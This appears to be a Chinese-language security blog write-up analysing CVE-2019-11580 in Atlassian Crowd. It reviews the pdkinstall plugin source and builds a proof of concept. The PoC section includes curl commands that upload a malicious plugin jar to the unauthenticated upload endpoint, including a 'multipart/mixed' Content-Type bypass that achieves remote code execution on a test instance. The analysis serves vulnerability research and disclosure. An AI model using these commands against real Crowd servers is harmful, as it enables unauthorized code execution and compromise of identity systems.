CVE-2019-11580:Atlassian Crowd RCE漏洞分析

 

0x00 前言

最近我在渗透测试过程中,遇到了一个Atlassian Crowd环境。根据官方描述,Crowd是一个集中式身份管理应用,可以帮助企业“管理来自多个目录的用户,比如活动目录(AD)、LDAP、OpenLDAP或者Microsoft Azure AD,也可以在同一个位置来控制应用程序的身份认证权限”。

目标环境安装的Crowd版本较老,因此我向Google伸出援手,想搜搜该版本有没有漏洞,这里我找到了一处安全公告:“pdkinstall开发插件未正确启用漏洞(CVE-2019-11580)”。

Atlassian的描述如下:

“Crowd以及Crowd Data Center在发布版(release)中没有正确启用pdkinstall开发插件。如果攻击者向Crowd或者Crowd Data Center实例发送未授权或者已授权的请求,就可以利用该漏洞来安装任意插件。如果目标系统上运行存在漏洞的Crowd或者Crowd Data Center,那么攻击者可以通过该漏洞实现远程代码执行(RCE)”。

经过一番搜索后,我并没有找到该漏洞对应的PoC,因此我决定分析漏洞,尝试自己构建PoC。

 

0x01 代码分析

首先clone该插件的源代码

root@doggos:~# git clone https://bitbucket.org/atlassian/pdkinstall-plugin
Cloning into 'pdkinstall-plugin'...
remote: Counting objects: 210, done.
remote: Compressing objects: 100% (115/115), done.
remote: Total 210 (delta 88), reused 138 (delta 56)
Receiving objects: 100% (210/210), 26.20 KiB | 5.24 MiB/s, done.
Resolving deltas: 100% (88/88), done.

插件的描述文件路径为./main/resources/atlassian-plugin.xml,每个插件都需要搭配一个插件描述文件,根据Atlassian官方介绍,其中包含XML格式数据,用来“描述托管应用所需的插件以及插件中的模块”。

来看一下该文件内容:

<atlassian-plugin name="${project.name}" key="com.atlassian.pdkinstall" pluginsVersion="2">
<plugin-info>
    <version>${project.version}</version>
    <vendor name="Atlassian Software Systems Pty Ltd" url="http://www.atlassian.com"/>
</plugin-info>

<servlet-filter name="pdk install" key="pdk-install" class="com.atlassian.pdkinstall.PdkInstallFilter" location="before-decoration">
    <url-pattern>/admin/uploadplugin.action</url-pattern>
</servlet-filter>

<servlet-filter name="pdk manage" key="pdk-manage" class="com.atlassian.pdkinstall.PdkPluginsFilter"
    location="before-decoration">
    <url-pattern>/admin/plugins.action</url-pattern>
</servlet-filter>

<servlet-context-listener key="fileCleanup" class="org.apache.commons.fileupload.servlet.FileCleanerCleanup" />
<component key="pluginInstaller" class="com.atlassian.pdkinstall.PluginInstaller" />
</atlassian-plugin>

从中可知,当访问/admin/uploadplugin.action时,就会调用com.atlassian.pdkinstall.PdkInstallFilter这个Java servlet类。由于我们知道这个RCE漏洞由任意插件安装问题所触发,因此我们首先需要看一下PdkInstallFilter servlet的源代码。

这里我们可以将pdkinstall-plugin导入IntelliJ中,开始分析源代码。我们可以从doFilter()方法开始分析。

此处代码中可知,如果请求的方法不是POST方法,那么代码就会退出,返回一个错误响应:

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse res = (HttpServletResponse) servletResponse;

if (!req.getMethod().equalsIgnoreCase("post"))
{
    res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Requires post");
    return;
}

接下来,代码会判断请求中是否包含multipart数据。Multipart数据是包含一个或多个数据集组合的body数据。如果请求中包含multipart数据,那么代码就会调用extractJar()方法来提取请求所发送的jar,否则就会调用buildJarFromFiles()方法,尝试从请求数据中构建出一个jar插件文件。

// Check that we have a file upload request
File tmp = null;
boolean isMultipart = ServletFileUpload.isMultipartContent(req);
if (isMultipart)
{
    tmp = extractJar(req, res, tmp);
}
else
{
    tmp = buildJarFromFiles(req);
}

接下来开始分析extractJar()方法。

private File extractJar(HttpServletRequest req, HttpServletResponse res, File tmp) throws IOException
{
    // Create a new file upload handler
    ServletFileUpload upload = new ServletFileUpload(factory);

    // Parse the request
    try {
        List<FileItem> items = upload.parseRequest(req);
        for (FileItem item : items)
        {
            if (item.getFieldName().startsWith("file_") && !item.isFormField())
            {
                tmp = File.createTempFile("plugindev-", item.getName());
                tmp.renameTo(new File(tmp.getParentFile(), item.getName()));
                item.write(tmp);
            }
        }
    } catch (FileUploadException e) {
        log.warn(e, e);
        res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Unable to process file upload");
    } catch (Exception e) {
        log.warn(e, e);
        res.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Unable to process file upload");
    }
    return tmp;
}

首先,该函数会实例化ServletFileUpload的一个新对象,然后调用parseRequest()方法来解析HTTP请求。该方法会解析HTTP请求中的multipart/form-data数据流,并将解析出的FileItem存放到items列表中。

对于FileItem列表中的每个item,如果字段名以file_作为前缀,且不是表单字段(即HTML字段),那么该方法就会创建并写入一个文件,将该文件上传到磁盘上的临时目录中。如果操作失败,tmp变量的值将为null;如果操作成功,tmp变量将包含已写入文件的具体路径。代码会将tmp变量返回给doFilter()方法。

if (tmp != null)
{
    List<String> errors = new ArrayList<String>();
    try
    {
        errors.addAll(pluginInstaller.install(tmp));
    }
    catch (Exception ex)
    {
        log.error(ex);
        errors.add(ex.getMessage());
    }

    tmp.delete();

    if (errors.isEmpty())
    {
        res.setStatus(HttpServletResponse.SC_OK);
        servletResponse.setContentType("text/plain");
        servletResponse.getWriter().println("Installed plugin " + tmp.getPath());
    }
    else
    {
        res.setStatus(HttpServletResponse.SC_BAD_REQUEST);
        servletResponse.setContentType("text/plain");
        servletResponse.getWriter().println("Unable to install plugin:");
        for (String err : errors)
        {
            servletResponse.getWriter().println("t - " + err);
        }
    }
    servletResponse.getWriter().close();
    return;
}
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing plugin file");

如果extractJar()执行成功,tmp变量就会被设置为非null的其他值。应用程序会尝试使用pluginInstaller.install()方法安装插件,捕获安装过程中出现的任何错误。如果没有出现错误,服务端会返回200 OK响应,提示插件已成功安装。否则,服务端会响应400 Bad Request,提示“Unable to install plugin”(无法安装插件),响应消息中还包含导致安装失败的具体错误。

然而,如果最初的extractJar()方法执行失败,tmp变量就会被设置为null,服务端会返回400 Bad Request,提示“Missing plugin file”(插件文件缺失)。

现在我们了解了servlet工作原理及服务端期望收到的请求格式,我们可以尝试构造漏洞利用代码。

 

0x02 构造PoC

方法1

首先使用Atlassian SDK启动一个测试实例。

现在确保我们可以通过访问http://localhost:4990/crowd/admin/uploadplugin.action来调用pdkinstall插件。

服务端应该会返回“400 Bad Request”响应:

接下来利用我们目前已掌握的信息来上传一个标准插件。我选择来自atlassian-bundled-plugins中的applinks-plugin作为测试对象,大家可以从此处下载已编译好的jar文件。

根据我们了解的信息:servlet希望处理POST请求,请求中包含multipart数据,而multipart数据包含以file_开头的文件。我们可以使用cURL的--form参数发起满足条件的请求:

root@doggos:~# curl --form "file_cdl=@applinks-plugin-5.2.6.jar" http://localhost:4990/crowd/admin/uploadplugin.action -v

从结果中可知,服务端成功安装了插件,因此我们是不是可以创建并安装自己的插件呢?

为了测试方便,我创建了一个恶意插件(访问此处下载)。

接下来编译并尝试上传该插件。

root@doggos:~# ./compile.sh
root@doggos:~# curl --form "file_cdl=@rce.jar" http://localhost:8095/crowd/admin/uploadplugin.action -v

可以看到服务端会返回“400 Bad Request”错误,响应数据中包含错误消息:“Missing plugin file”。从前文分析可知,如果tmpnull,那么服务端就会返回完全相同的错误代码及消息,但为什么会出现这种情况呢?我们可以调试一下。

我在IntelliJ中导入了pdkinstall-plugin,将调试器attach到Crowd实例,然后打开负责处理上传流程的PdkInstallFilter.java servlet。

我首先猜测ServletFileUpload.isMultipartContent(req)方法无法执行成功,因此我在该函数设置了一个断点,然后尝试上传我们的恶意插件。然而,我们可以看到该函数会正常运行,并且服务端会将其当成multipart数据:

因此肯定是extractJar()出了问题。我们可以调试该方法,逐行设置断点,这样方便找到出错的位置。设置断点后,我再次尝试上传:

可以看到upload.parseRequest(req)方法会返回一个空的数组。由于items变量为空,因此代码会跳过for循环,返回值为nulltmp

我花了很长时间,想澄清为什么会出现这种情况,但我并不清楚真正的原因。然而这并不关键,我只关心如何实现RCE。

那么如果我将Content-Typemultipart/form-data改成其他multipart编码,会出现什么情况呢?可以来试一下。

方法2

这一次我决定将Content-Type改成multipart/mixed,尝试上传我的恶意插件。

curl -k -H "Content-Type: multipart/mixed" 
  --form "file_cdl=@rce.jar" http://localhost:4990/crowd/admin/uploadplugin.action

服务端会在返回数据中提示插件已安装成功:

来看一下我们是否真的可以调用这个恶意插件:

这里我们已经成功针对Atlassian Crowd实现了无需身份认证的远程代码执行(RCE)。

 

0x03 总结

在对这个CVE的整个分析过程中,我所付出的努力都得到了回报,没有浪费时间精力,这正是漏洞分析过程的关键点所在。我们永远不要害怕尝试新事物,也不要害怕失败,这是整个过程最大的收获。

我对Java并不是特别了解,也没有丰富的调试经验,但这些都没有阻止我不断去尝试。尝试新事物、研究新内容、不断排查错误,这也是学习过程的重要过程。

(完)